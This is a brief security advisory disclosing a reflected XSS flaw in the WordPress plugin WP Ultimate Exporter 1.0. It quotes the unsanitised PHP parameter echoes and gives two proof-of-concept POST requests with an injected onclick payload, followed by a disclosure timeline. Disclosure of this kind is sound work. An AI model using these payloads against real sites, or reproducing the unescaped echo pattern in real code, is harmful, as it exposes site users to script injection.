WP Ultimate Exporter XSS Vulnerability


#Product : WP Ultimate Exporter
#Exploit Author : Rahul Pratap Singh
#Version : 1.0
#Home page Link : https://wordpress.org/plugins/wp-ultimate-exporter/
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 24/Feb/2016

XSS Vulnerability:

“export_name” and “export_post_type_name” parameters are not sanitized that leads to Reflected XSS.

Vulnerable Code:
File Name: /wp-ultimate-exporter/includes/WUExporterUI.php

Found at line:88
$export_post_type = isset($_REQUEST[‘export_name’]) ? $_REQUEST[‘export_name’] : ” ;

Found at line:89
$custom_post = isset($_REQUEST[‘export_post_type_name’]) ? $_REQUEST[‘export_post_type_name’] : ” ;?>

Found at line:91

<input type =”hidden” value = ‘<?php echo $export_post_type?>’ name=’export_type_name’>

Found at line:92

<input type =”hidden” value = ‘<?php echo $custom_post?>’ name=’export_custompost_type’>

POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype

export_name=”/><input type=text onclick=alert(/XSS/)><!–”

POST /wp-admin/admin.php?page=wp_ultimate_exporter&step=exportposttype

export_post_type_name=”/><input type=text onclick=alert(/XSS/)><!–”



Vulnerability Disclosure Timeline:
→ January  30, 2016   – Bug discovered, initial report to WordPress
→ February 1,  2016   – WordPress response, plugin taken down
→ February 24, 2016 – Plugin up with same version

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